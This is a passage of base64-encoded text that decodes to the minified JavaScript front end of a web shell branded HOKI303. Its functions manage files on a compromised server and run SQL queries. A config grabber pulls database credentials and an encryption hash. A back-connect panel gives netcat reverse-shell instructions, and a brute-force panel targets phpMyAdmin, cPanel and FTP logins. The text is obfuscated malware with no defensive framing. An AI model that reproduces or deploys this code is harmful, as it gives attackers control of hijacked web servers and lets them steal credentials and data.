CJub25lIiksaG9raUZtbmdyQ29udGV4dFJvdygpfSwhMSwiZmlsZXNtYW5faG9sZGVyXyIrYSl9ZnVuY3Rpb24gaW5pdERpcihlKXt2YXIgYT0iIix0PSIiO2lzbGludXgmJihhPSI8YSBjbGFzcz1cImhlYWRlcl9wd2RcIiBvbmNsaWNrPVwiZygnRmlsZXNNYW4nLCcvJyk7XCIgcGF0aD0nLycgaHJlZj0nI2FjdGlvbj1maWxlbWFuJnBhdGg9Lyc+LzwvYT4iLHQ9Ii8iKTt2YXIgbD1lLnNwbGl0KCIvIiksbz0iIixyPWlzbGludXg/Ii8iOiIiO2ZvcihpIGluIi0xIiE9bC5pbmRleE9mKCIuLiIpJiYobC5zcGxpY2UobC5pbmRleE9mKCIuLiIpLTEsMSksbC5zcGxpY2UobC5pbmRleE9mKCIuLiIpLDEpKSxsKSIiIT1sW2ldJiYobys9IjxhIG9uY2xpY2s9XCJnKCdGaWxlc01hbicsJyIrcitsW2ldKyIvJyk7XCIgcGF0aD0nIityK2xbaV0rIi8nIGhyZWY9JyNhY3Rpb249ZmlsZW1hbiZwYXRoPSIrcitsW2ldKycvXCcgY2xhc3M9ImhlYWRlcl9wd2QiPicrbFtpXSsiLzwvYT4iLHIrPWxbaV0rIi8iKTskKCJoZWFkZXJfY3dkIikuaW5uZXJIVE1MPWErbysiICIsaG9raUluaXRDd2RDb250ZXh0KCksbD0obD10K2wuam9pbigiLyIpKS5yZXBsYWNlKCIvLyIsIi8iKSxkLmZvb3Rlcl9mb3JtLmMudmFsdWU9bCwkKCJmb290ZXJfY3dkIikudmFsdWU9bCxjXz1sfWZ1bmN0aW9uIGV2YWxKUyhodG1sKXt2YXIgbmV3RWxlbWVudD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTtuZXdFbGVtZW50LmlubmVySFRNTD1odG1sO2Zvcih2YXIgc2NyaXB0cz1uZXdFbGVtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJzY3JpcHQiKSxpPTA7aTxzY3JpcHRzLmxlbmd0aDsrK2kpe3ZhciBzY3JpcHQ9c2NyaXB0c1tpXTtldmFsKHNjcmlwdC5pbm5lckhUTUwpfX1mdW5jdGlvbiBfQWpheChlLGEsdCxpLGwpe3ZhciBvPSExO3JldHVybiB3aW5kb3cuWE1MSHR0cFJlcXVlc3Q/bz1uZXcgWE1MSHR0cFJlcXVlc3Q6d2luZG93LkFjdGl2ZVhPYmplY3QmJihvPW5ldyBBY3RpdmVYT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpKSx2b2lkIDAhPT1sJiYoX0hPS0lfQUpBWF9bbF09byksbz8oby5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKXs0PT1vLnJlYWR5U3RhdGUmJjIwMD09by5zdGF0dXM/ImZ1bmN0aW9uIj09dHlwZW9mIHQmJih0KG8ucmVzcG9uc2VUZXh0LGwpLGhva2lDbGVhckFqYXgobCkpOjQ9PW8ucmVhZHlTdGF0ZSYmMjAwIT1vLnN0YXR1cyYmKGhva2lBamF4RXJyb3Ioby5zdGF0dXMsbCxvLnN0YXR1c1RleHQsby5yZXNwb25zZVRleHQpLGhva2lDbGVhckFqYXgobCkpfSxvLm9wZW4oIlBPU1QiLGUsITApLG8uc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIiksdm9pZCBvLnNlbmQoYSkpOnZvaWQgYWxlcnQoIkVycm9yICEiKX1mdW5jdGlvbiBob2tpQ2xlYXJBamF4KGUpe19IT0tJX0FKQVhfLmhhc093blByb3BlcnR5KGUpJiZkZWxldGUgX0hPS0lfQUpBWF9bZV19ZnVuY3Rpb24gaGFuZGxldXAoZSxhKXt2YXIgdD0iX19mbmFtZXVwIjtpZigwIT1hJiYodD0iX19mbmFtZXVwIithKSxlLmZpbGVzLmxlbmd0aD4xKXtmb3IodmFyIGk9IiIsbD0wO2w8ZS5maWxlcy5sZW5ndGg7bCsrKWkrPWUuZmlsZXNbMF0ubmFtZSsiLCAiOyQodCkuaW5uZXJIVE1MPWl9ZWxzZSBlLmZpbGVzWzBdLm5hbWUmJigkKHQpLmlubmVySFRNTD1lLmZpbGVzWzBdLm5hbWUpfWZ1bmN0aW9uIHUoZSl7dmFyIGE9ITEsdD0wLGk9aG9raV9jdXJyZW50X2ZtX2lkLGw9bmV3IEZvcm1EYXRhLG89ImZpbGVzbWFuX2hvbGRlcl8iK2k7bC5hcHBlbmQoImEiLGhva2liNjQoZS5hLnZhbHVlKSksbC5hcHBlbmQoImMiLGhva2liNjQoZS5jLnZhbHVlKSksbC5hcHBlbmQoImhva2kxIixob2tpYjY0KGUuaG9raTEudmFsdWUpKSxsLmFwcGVuZCgiY2hhcnNldCIsaG9raWI2NChlLmNoYXJzZXQudmFsdWUpKSxsLmFwcGVuZCgiYWpheCIsaG9raWI2NChlLmFqYXgudmFsdWUpKSxlLnF1ZXJ5U2VsZWN0b3JBbGwoImlucHV0W3R5cGU9ZmlsZV0iKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2lmKDA9PWUudmFsdWUubGVuZ3RoKXJldHVybiExO2lmKGUuZmlsZXMubGVuZ3RoPjEpZm9yKHZhciBhPTA7YTxlLmZpbGVzLmxlbmd0aDthKyspbC5hcHBlbmQoImZbXSIsZS5maWxlc1thXSk7ZWxzZSBsLmFwcGVuZCgiZltdIixlLmZpbGVzWzBdKTt0Kyt9KSwkKCJmb290ZXJ1cCIpLnZhbHVlPSIiLCQoIl9fZm5hbWV1cCIpLmlubmVySFRNTD0iIjtmb3IodmFyIHI9MTtyPD11cGNvdW50O3IrKyl7dmFyIG49JCgicGZvb3RlcnVwXyIrcik7biYmbi5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKG4pLHVwY291bnQtLX1pZigwPT11cGNvdW50JiZ1cGNvdW50KyssMD09dClyZXR1cm4hMTt2YXIgcz0idXBfYmFyXyIrZ2V0UmFuZG9tKCk7JCgidXBfYmFyX2hvbGRlciIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwiPGRpdiBpZD0nIitzKyInIGNsYXNzPSd1cF9iYXInPjwvZGl2PiIpO2UuYy52YWx1ZTtpZih3aW5kb3cuWE1MSHR0cFJlcXVlc3Q/YT1uZXcgWE1MSHR0cFJlcXVlc3Q6d2luZG93LkFjdGl2ZVhPYmplY3QmJihhPW5ldyBBY3RpdmVYT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpKSxhKXt2YXIgYz0kKHMpO19IT0tJX0FKQVhfW3NdPWEsYS51cGxvYWQmJihjLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixhLnVwbG9hZC5vbnByb2dyZXNzPWZ1bmN0aW9uKGUpe3ZhciBhPWUucG9zaXRpb258fGUubG9hZGVkLHQ9ZS50b3RhbFNpemV8fGUudG90YWwsaT1NYXRoLmZsb29yKGEvdCoxZTMpLzEwKyIlIjtjLnN0eWxlLndpZHRoPWl9KSxhLm9ubG9hZD1mdW5jdGlvbihlKXsyMDA9PT1hLnN0YXR1cz9jLnN0eWxlLmRpc3BsYXk9Im5vbmUiOmhva2lBamF4RXJyb3IoYS5zdGF0dXMsInVwbG9hZF9hcmVhIixhLnN0YXR1c1RleHQsYS5yZXNwb25zZVRleHQpLGhva2lDbGVhckFqYXgocyl9LGEub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7aWYoND09YS5yZWFkeVN0YXRlJiYyMDA9PWEuc3RhdHVzKXtpZigibm9wZXJtIiE9YS5yZXNwb25zZVRleHQmJiJbXSIhPWEucmVzcG9uc2VUZXh0KXt2YXIgZSx0PUpTT04ucGFyc2UoYS5yZXNwb25zZVRleHQpLGw9IiIscj1kLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK28rIiAjZmlsZW1hbmFnZXJfdGFibGUgdHIiKS5sZW5ndGgtMztmb3IoZSBpbiB0KXsrK3I7dmFyIG49dFtlXS5uYW1lLHM9ZW5jb2RlVVJJQ29tcG9uZW50KG4pLGM9dFtlXS5zaXplLGY9dFtlXS5wZXJtLF89dFtlXS5tb2RpZnksdT10W2VdLm93bmVyLHA9bG9hZFR5cGUobiwiZmlsZSIpO3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIiMiK28rIiAuZm1hbmFnZXItcm93IGFbZm5hbWU9JyIrbisiJ10iKS5wYXJlbnRFbGVtZW50LnBhcmVudEVsZW1lbnQucGFyZW50RWxlbWVudC5yZW1vdmUoKX1jYXRjaChlKXt9bCs9Jzx0ciBjbGFzcz0iZm1hbmFnZXItcm93IiBpZD0idHJfcm93XycrcisnIj48dGQ+PGRpdiBjbGFzcz0ibXlDaGVja2JveCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJmW10iIHZhbHVlPSInK24rJyIgY2xhc3M9ImNoa2J4IiBpZD0iY2hlY2tib3gnK3IrJyI+PGxhYmVsIGZvcj0iY2hlY2tib3gnK3IrJyI+PC9sYWJlbD48L2Rpdj48L3RkPjx0ZCBpZD0idGRfcm93XycrcisnIj4nK3ArJzxkaXYgc3R5bGU9InBvc2l0aW9uOnJlbGF0aXZlO2Rpc3BsYXk6aW5saW5lLWJsb2NrO2JvdHRvbToxMnB4OyI+PGEgcm93PSInK3IrJyIgaWQ9ImlkXycrcisnIiBjbGFzcz0ibWFpbl9uYW1lIiBvbmNsaWNrPSJlZGl0b3IoXCcnK3MrIicsJ2F1dG8nLCcnLCcnLCcnLCdmaWxlJyk7XCIgaHJlZj1cIiNhY3Rpb249ZmlsZW1hbiZhbXA7cGF0aD0iK2NfKyImYW1wO2ZpbGU9IitzKyciIGZuYW1lPSInK24rJyIgZnR5cGU9ImZpbGUiIHBhdGg9IicrY18rJyIgb3B0X3RpdGxlPSIiPicrbisnPC9hPjwvZGl2PjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX3NpemUiPicrYysnPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX21vZGlmeSI+JytfKyc8L3NwYW4+PC90ZD48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9Im1haW5fb3duZXJfZ3JvdXAiPicrdSsnPC9zcGFuPjwvdGQ+PHRkPjxhIGlkPSJpZF9jaG1vZGVfJytyKyciIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKSIgb25jbGljaz0iZWRpdG9yKFwnJytzKyInLCdjaG1vZCcsJycsJycsJycsJ2ZpbGUnKVwiPiIrZisnPC9hPjwvdGQ+PHRkPjxhIGlkPSJpZF9yZW5hbWVfJytyKyciIHRpdGxlPSJSZW5hbWUiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJlZGl0b3IoXCcnK3MrIicsICdyZW5hbWUnLCcnLCcnLCcnLCdmaWxlJylcIj5SPC9hPiA8YSBpZD1cImlkX3RvdWNoXyIrcisnIiB0aXRsZT0iTW9kaWZ5IERhdGV0aW1lIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJytzKyInLCAndG91Y2gnLCcnLCcnLCcnLCdmaWxlJylcIj5UPC9hPiA8YSBpZD1cImlkX2VkaXRfIityKyciIGNsYXNzPSJhY3Rpb25zIiB0aXRsZT0iRWRpdCIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJytzKyInLCAnZWRpdCcsJycsJycsJycsJ2ZpbGUnKVwiPkU8L2E+IDxhIGlkPVwiaWRfZG93bmxvYWRfIityKyciIHRpdGxlPSJEb3dubG9hZCIgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycrbisiJywgJ2Rvd25sb2FkJylcIj5EPC9hPjxhIGlkPVwiaWRfZGVsZXRlXyIrcisnIiB0aXRsZT0iRGVsZXRlIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0idmFyIGNoayA9IGNvbmZpcm0oXCdBcmUgWW91IFN1cmUgRm9yIERlbGV0ZSAjICcrcysiICMgPycpOyBjaGsgPyBnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJywgJyIrcysiJykgOiAnJztcIj4gWCA8L2E+PC90ZD48L3RyPiJ9ZC5xdWVyeVNlbGVjdG9yKCIjIitvKyIgI2ZpbGVtYW5hZ2VyX2xhc3RfdHIiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWJlZ2luIixsKSxob2tpU2hvd05vdGlmaWNhdGlvbigiRmlsZShzKSB1cGxvYWRlZCBzdWNjZXNzZnVsbHkiLCJVcGxvYWRlciIpLGhva2lGbW5nckNvbnRleHRSb3coKX1lbHNlIGhva2lTaG93Tm90aWZpY2F0aW9uKCJGb2xkZXIgaGFzIG5vIHBlcm1pc3Npb24uLi4iLCJVcGxvYWRlciIsImVycm9yIik7aG9raUNoZWNrQ3VycmVudEZpbGVzTWFuVGFiKGkpfX0sYS5vcGVuKCJQT1NUIixkLlVSTCksYS5zZW5kKGwpfX1mdW5jdGlvbiBob2tpQ2hlY2tDdXJyZW50RmlsZXNNYW5UYWIoZSl7LTE9PSQoImZpbGVzbWFuX3RhYl8iK2UpLmNsYXNzTGlzdC52YWx1ZS5pbmRleE9mKCJmaWxlc21hbi10YWItYWN0aXZlIikmJiQoImZpbGVzbWFuX3RhYl8iK2UpLmNsYXNzTGlzdC5hZGQoInRhYi1pcy1kb25lIil9ZnVuY3Rpb24gZyhhLGMsaG9raTEsaG9raTIsaG9raTMsaG9raTQsaG9raTUsaG9raTYsaG9raTcsaG9raTgsaG9raTksaG9raTEwLGNoYXJzZXQpe3ZhciBmbV9pZD0wPT1ob2tpX2ZtX2lkP2hva2lfY3VycmVudF9mbV9pZDpob2tpX2ZtX2lkLGZtX2lkMj1ob2tpX2ZtX2lkLGZtX3BhdGg9bnVsbD09Y3x8MD09Yy5sZW5ndGg/Y186YyxkX21mX2M9Zm1fcGF0aCxnX2FjdGlvbl9pZD1ob2tpX2JlZm9yZV9kb19hY3Rpb25faWQ7MD09aG9raV9mbV9pZCYmKHNldChhLGMsaG9raTEsaG9raTIsaG9raTMsaG9raTQsaG9raTUsaG9raTYsaG9raTcsaG9raTgsaG9raTksaG9raTEwLGNoYXJzZXQpLGRfbWZfYz1kLm1mLmMudmFsdWUpLCJHZXRDb25maWciIT1hJiYiZG93bmxvYWQiIT1ob2tpMiYmaXNsaW51eCYmIi8iIT1kX21mX2Muc3Vic3RyKDAsMSkmJihkX21mX2M9Ii8iK2RfbWZfYyksIkZpbGVzTWFuIj09YT8oaG9raWxvYWRlcigiZmlsZXNtYW5faG9sZGVyXyIrZm1faWQsImJsb2NrIiksZ19hY3Rpb25faWQ9ImZpbGVzbWFuX2hvbGRlcl8iK2ZtX2lkKToiIiE9Z19hY3Rpb25faWQ/aG9raWxvYWRlcihnX2FjdGlvbl9pZCwiYmxvY2siKToiRmlsZXNUb29scyIhPWEmJiJkb3dubG9hZCIhPWhva2kyJiYiR2V0Q29uZmlnIiE9YSYmKCJzcWwiPT1hPyhzaG93RWRpdG9yKCJkYXRhYmFzZV93aW5kb3ciKSxnX2FjdGlvbl9pZD1sb2FkUG9wVXBEYXRhYmFzZSgiIikpOiJGaWxlc01hbiIhPWEmJihzaG93RWRpdG9yKCJvcHRpb25zX3dpbmRvdyIpLGdfYWN0aW9uX2lkPWxvYWRQb3BVcE9wVGlvbnMoYSkpLGhva2lsb2FkZXIoZ19hY3Rpb25faWQsImJsb2NrIikpO2Zvcih2YXIgZGF0YT0iYT0iK2hva2liNjQoYSkrIiZjPSIraG9raWI2NChkX21mX2MpKyImIixpPTE7aTw9MTA7aSsrKWRhdGErPSJob2tpIitpKyI9Iitob2tpYjY0KGV2YWwoImQubWYuaG9raSIraSsiLnZhbHVlIikpKyImIjtpZigiRmlsZXNNYW4iPT1hKXt2YXIgcGFnZW51bT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2dfYWN0aW9uX2lkKyIgLnBhZ2UtbnVtYmVyLmFjdGl2ZS1wYWdlLW51bWJlciIpO251bGwhPXBhZ2VudW0mJihkYXRhKz0icGFnZW51bT0iK2hva2liNjQoZ2V0Q29va2llKGdfYWN0aW9uX2lkKyJfcGFnZV9udW1iZXIiKSksc2V0Q29va2llKGdfYWN0aW9uX2lkKyJfcGFnZV9udW1iZXIiLDEsMjAxMikpfWlmKGRhdGErPSImYWpheD0iK2hva2liNjQoInRydWUiKSwiRmlsZXNUb29scyI9PWEmJiJkb3dubG9hZCI9PWhva2kyKXtob2tpTG9hZGVyT25Ub3AoIm5vbmUiKTt2YXIgZGw9JCgiZGxGb3JtIik7cmV0dXJuIGRsLmEudmFsdWU9aG9raWI2NCgiZGxmaWxlIiksZGwuYy52YWx1ZT1ob2tpYjY0KGRfbWZfYyksZGwuZmlsZS52YWx1ZT1ob2tpYjY0KGhva2kxKSx2b2lkIGRsLnN1Ym1pdCgpfSJHZXRDb25maWciIT1hPyhfQWpheChkLlVSTCxkYXRhLGZ1bmN0aW9uKGUsdCl7ZXZhbEpTKGUpO3ZhciBpPSExO2lmKGhva2lMb2FkZXJPblRvcCgibm9uZSIpLCJzcWwiPT1hKXJldHVybiBjb25zb2xlLmxvZyh0KSxsb2FkUG9wVXBEYXRhYmFzZShlLHQpLCExO2lmKCJGaWxlc01hbiI9PWEpe2hva2lsb2FkZXIoImZpbGVzbWFuX2hvbGRlcl8iK2ZtX2lkLCJub25lIiksZC5xdWVyeVNlbGVjdG9yKCIjZmlsZXNtYW5faG9sZGVyXyIrZm1faWQpLmlubmVySFRNTD1lLGZtX3BhdGg9Zm1fcGF0aC5yZXBsYWNlKC9cL1wvL2csIi8iKSwkKCJmaWxlc21hbl90YWJfIitmbV9pZCkuc2V0QXR0cmlidXRlKCJwYXRoIixmbV9wYXRoKTt2YXIgbD1ob2tpR2V0TGFzdEZvbGRlck5hbWUoZm1fcGF0aCk7ZC5xdWVyeVNlbGVjdG9yKCIjZmlsZXNtYW5fdGFiXyIrZm1faWQrIiBzcGFuIikuaW5uZXJIVE1MPWwsaG9raUZtbmdyQ29udGV4dFJvdygpLCJmdW5jdGlvbiI9PXR5cGVvZiBob2tpMSYmaG9raTEoZSksaG9raUNoZWNrQ3VycmVudEZpbGVzTWFuVGFiKGZtX2lkKX1lbHNlKG9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZHx8Ii4iPT10LnN1YnN0cigwLDEpKSYmIi4iPT10LnN1YnN0cigwLDEpJiYoaT0hMCx0PXQuc3Vic3RyKDEpLHNob3dFZGl0b3IoIm9wdGlvbnNfd2luZG93IikpLGl8fGhva2lsb2FkZXIodCwibm9uZSIpLGxvYWRQb3BVcE9wVGlvbnModCxlKSwicGhwZXZhbCI9PWEmJmhva2lMb2FkQWNlRWRpdG9yKCJQaHBDb2RlIiksImNvbGR1bXBlciI9PWEuc3Vic3RyKDAsOSkmJmhva2lDb2xEdW1wZXJJbml0KCl9LCExLCIiPT1nX2FjdGlvbl9pZD8iLiIrYTpnX2FjdGlvbl9pZCksZ19hY3Rpb25faWQ9IiIsMD09Zm1faWQyJiZjIT1jXyYmYyYmaW5pdERpcihjKSk6KGhva2lsb2FkZXIoaG9raTMsImJsb2NrIiksX0FqYXgoZC5VUkwsZGF0YSxmdW5jdGlvbihlLGEpe3ZhciB0PWE7YT1kLnF1ZXJ5U2VsZWN0b3IoIiMiKygiaWRfZGIiIT1hLnN1YnN0cigwLDUpPyJvcHRpb25fIithOmEpKTt0cnl7KGU9SlNPTi5wYXJzZShlKSkuaG9zdCYmZS51c2VyJiZlLmRibmFtZSYmKCQoImRiX2hvc3QiKSYmKGEucXVlcnlTZWxlY3RvcigiI2RiX2hvc3QiKS52YWx1ZT1lLmhvc3QpLCQoImRiX3VzZXIiKSYmKGEucXVlcnlTZWxlY3RvcigiI2RiX3VzZXIiKS52YWx1ZT1lLnVzZXIpLCQoImRiX25hbWUiKSYmKGEucXVlcnlTZWxlY3RvcigiI2RiX25hbWUiKS52YWx1ZT1lLmRibmFtZSksJCgiZGJfcHciKSYmKGEucXVlcnlTZWxlY3RvcigiI2RiX3B3IikudmFsdWU9ZS5wYXNzd29yZCksJCgiZGJfcHJlZml4IikmJmUucHJlZml4JiYoYS5xdWVyeVNlbGVjdG9yKCIjZGJfcHJlZml4IikudmFsdWU9ZS5wcmVmaXgpLCQoImNjX2VuY3J5cHRpb25faGFzaCIpJiZlLmNjX2VuY3J5cHRpb25faGFzaCYmKGEucXVlcnlTZWxlY3RvcigiI2NjX2VuY3J5cHRpb25faGFzaCIpLnZhbHVlPWUuY2NfZW5jcnlwdGlvbl9oYXNoKSl9Y2F0Y2goZSl7fWhva2lsb2FkZXIodCwibm9uZSIpfSwhMSxob2tpMykpfWZ1bmN0aW9uIGhva2lHZXRMYXN0Rm9sZGVyTmFtZShlKXt2YXIgYT1lLnJlcGxhY2UoL1wvXC8vZywiLyIpLnNwbGl0KCIvIik7Zm9yKHZhciB0IGluIGEpMD09YVt0XS5sZW5ndGgmJmEuc3BsaWNlKHQsMSk7dmFyIGk9YVthLmxlbmd0aC0xXTtyZXR1cm4gMD09aS5sZW5ndGgmJihpPSIvIiksaX1mdW5jdGlvbiBob2tpbG9hZGVyKGUsYSl7aWYoMD09ZS5sZW5ndGgpcmV0dXJuITE7dHJ5e3ZhciB0PSQoImxvYWRlcl8iK2UpO2lmKG51bGw9PXQmJiJibG9jayI9PWEpe3ZhciBpPW51bGw7ImVkaXRvciI9PWU/aT1kLnF1ZXJ5U2VsZWN0b3IoIiNlZGl0b3IgLmVkaXRvci1tb2RhbCIpOiJpZF9kYiI9PWUuc3Vic3RyKDAsNSk/aT0kKGUpOiJ0ZXJtaW5hbF9pZCI9PWUuc3Vic3RyKDAsMTEpP2k9JChlKToiZWRpdG9yIj09ZS5zdWJzdHIoMCw2KT9pPSQoZSk6ImNnaWZyYW1lIj09ZT9pPSQoImNnaWZyYW1lIik6ImZpbGVzbWFuX2hvbGRlciI9PWUuc3Vic3RyKDAsMTUpPyhpPSQoZSkpLnN0eWxlLm1pbkhlaWdodD0iMzAwcHgiOmk9JCgib3B0aW9uXyIrZSksaS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCI8ZGl2IGlkPSdsb2FkZXJfIitlKydcJyBjbGFzcz0ib3B0aW9ucy1sb2FkZXItaG9sZGVyIj48ZGl2IHBhcmVudD0iJytlKyciIG9uY2xpY2s9Imhva2lBamF4Q29udHJvbGxlcih0aGlzKTsiIGNsYXNzPSJzdG9wQWpheCI+WyBTdG9wIGl0IF08L2Rpdj48ZGl2IGNsYXNzPSJob2tpdGVhbS1sb2FkZXItdGV4dCI+SE9LSTMwMzwvZGl2PjxkaXYgY2xhc3M9Imhva2ktYWpheC1lcnJvciI+PC9kaXY+PGltZyBzcmM9XCdodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmdcJz48L2Rpdj4nKX1lbHNlImZpbGVzbWFuX2hvbGRlciI9PWUuc3Vic3RyKDAsMTUpJiYoJChlKS5zdHlsZS5taW5IZWlnaHQ9IjAiKSxudWxsIT10JiYodC5zdHlsZS5kaXNwbGF5PWEpfWNhdGNoKGUpe319ZnVuY3Rpb24gZnMoZSl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksdD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiBkaXYuc2YiKTtteXNxbF9jYWNoZS5oYXNPd25Qcm9wZXJ0eShhKXx8KG15c3FsX2NhY2hlW2FdPXt9KSxob2tpbG9hZGVyKGEsImJsb2NrIik7dmFyIGk9dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9ob3N0XSIpLnZhbHVlLGw9dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9sb2dpbl0iKS52YWx1ZSxvPXQucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfcGFzc10iKS52YWx1ZSxyPXQucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfYmFzZV0iKT90LnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2Jhc2VdIikudmFsdWU6dC5xdWVyeVNlbGVjdG9yKCJzZWxlY3RbbmFtZT1zcWxfYmFzZV0iKS52YWx1ZSxuPXQucXVlcnlTZWxlY3Rvcigic2VsZWN0W25hbWU9dHlwZV0iKS52YWx1ZSxzPXQucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfY291bnRdIikuY2hlY2tlZD8idHJ1ZSI6IiI7X0FqYXgoZC5VUkwsImE9Iitob2tpYjY0KCJTcWwiKSsiJmhva2kxPSIraG9raWI2NCgicXVlcnkiKSsiJmhva2kyPSZjPSIraG9raWI2NChjXykrIiZjaGFyc2V0PSIraG9raWI2NCgiVVRGLTgiKSsiJnR5cGU9Iitob2tpYjY0KG4pKyImc3FsX2hvc3Q9Iitob2tpYjY0KGkpKyImc3FsX2xvZ2luPSIraG9raWI2NChsKSsiJnNxbF9wYXNzPSIraG9raWI2NChvKSsiJnNxbF9iYXNlPSIraG9raWI2NChyKSsiJnNxbF9jb3VudD0iK2hva2liNjQocykrIiZjdXJyZW50X215c3FsX2lkPSIraG9raWI2NChhKSsiJmFqYXg9Iitob2tpYjY0KCJ0cnVlIiksZnVuY3Rpb24oZSxhKXtsb2FkUG9wVXBEYXRhYmFzZShlLGEpLGV2YWxKUyhlKSxob2tpbG9hZGVyKGEsIm5vbmUiKX0sITEsYSl9ZnVuY3Rpb24gY3RsYmMoZSl7dmFyIGE9JCgiYmNTdGF0dXMiKSx0PSQoImJjaXBBY3Rpb24iKTsiYmluZCI9PWUudmFsdWU/KHQuc3R5bGUuZGlzcGxheT0ibm9uZSIsYS5pbm5lckhUTUw9IjxzbWFsbD5QcmVzcyBgIDxmb250IGNvbG9yPSdyZWQnPj4+PC9mb250PiBgIGJ1dHRvbiBhbmQgcnVuIGAgPGZvbnQgY29sb3I9J3JlZCc+bmMgc2VydmVyX2lwIHBvcnQ8L2ZvbnQ+IGAgb24geW91ciBjb21wdXRlcjwvc21hbGw+Iik6KHQuc3R5bGUuZGlzcGxheT0iaW5saW5lLWJsb2NrIixhLmlubmVySFRNTD0iPHNtYWxsPlJ1biBgIDxmb250IGNvbG9yPSdyZWQnPm5jIC1sIC12IC1wIHBvcnQ8L2ZvbnQ+IGAgb24geW91ciBjb21wdXRlciBhbmQgcHJlc3MgYCA8Zm9udCBjb2xvcj0ncmVkJz4+PjwvZm9udD4gYCBidXR0b248L3NtYWxsPiIpfWZ1bmN0aW9uICQoZSl7cmV0dXJuIGQuZ2V0RWxlbWVudEJ5SWQoZSl9ZnVuY3Rpb24gYWRkbmV3dXAoKXt2YXIgZT0iZm9vdGVydXBfIit1cGNvdW50LGE9InBmb290ZXJ1cF8iK3VwY291bnQsdD0xIT11cGNvdW50PyJwZm9vdGVydXBfIisodXBjb3VudC0xKToicGZvb3RlcnVwIixpPWQuY3JlYXRlRWxlbWVudCgicCIpO2kuaW5uZXJIVE1MPSc8bGFiZWwgY2xhc3M9ImlucHV0ZmlsZSIgZm9yPSInK2UrJyI+PHNwYW4gaWQ9Il9fZm5hbWV1cCcrdXBjb3VudCsnIj48L3NwYW4+IDxzdHJvbmc+Jm5ic3A7Jm5ic3A7Q2hvb3NlIGEgZmlsZTwvc3Ryb25nPjwvbGFiZWw+PGlucHV0IGlkPSInK2UrJyIgdHlwZT0iZmlsZSIgbmFtZT0iZltdIiBvbkNoYW5nZT0iaGFuZGxldXAodGhpcywnK3VwY291bnQrJyk7IiBtdWx0aXBsZT4nLGkuaWQ9YSxpLmFwcGVuZEFmdGVyKCQodCkpLHVwY291bnQrK31mdW5jdGlvbiBob2tpX3NlYXJjaGVyX3Rvb2woZSl7c3dpdGNoKGUpe2Nhc2UiYWxsIjpjYXNlImRpcnMiOl9ob2tpU2V0KCEwLCJEaXNhYmxlZCIpO2JyZWFrO2Nhc2UiZmlsZXMiOl9ob2tpU2V0KCExLCJwaHAiKX19ZnVuY3Rpb24gX2hva2lTZXQoZSxhKXtkLnNyY2guZXh0LmRpc2FibGVkPWUsZC5zcmNoLmV4dC52YWx1ZT1hfWZ1bmN0aW9uIGRpc19pbnB1dChlKXtzd2l0Y2goZSl7Y2FzZSJwaHBteWFkbWluIjpicnV0ZVNldCghMCwiRGlzYWJsZWQiLCJodHRwOi8vIik7YnJlYWs7Y2FzZSJkaXJlY3QiOmJydXRlU2V0KCExLCIyMjIyIiwiaHR0cDovLyIpO2JyZWFrO2Nhc2UiY3AiOmJydXRlU2V0KCExLCIyMDgyIiwiaHR0cDovLyIpO2JyZWFrO2Nhc2UiZnRwIjpicnV0ZVNldCghMCwiRGlzYWJsZWQiLCJmdHA6Ly8iKTticm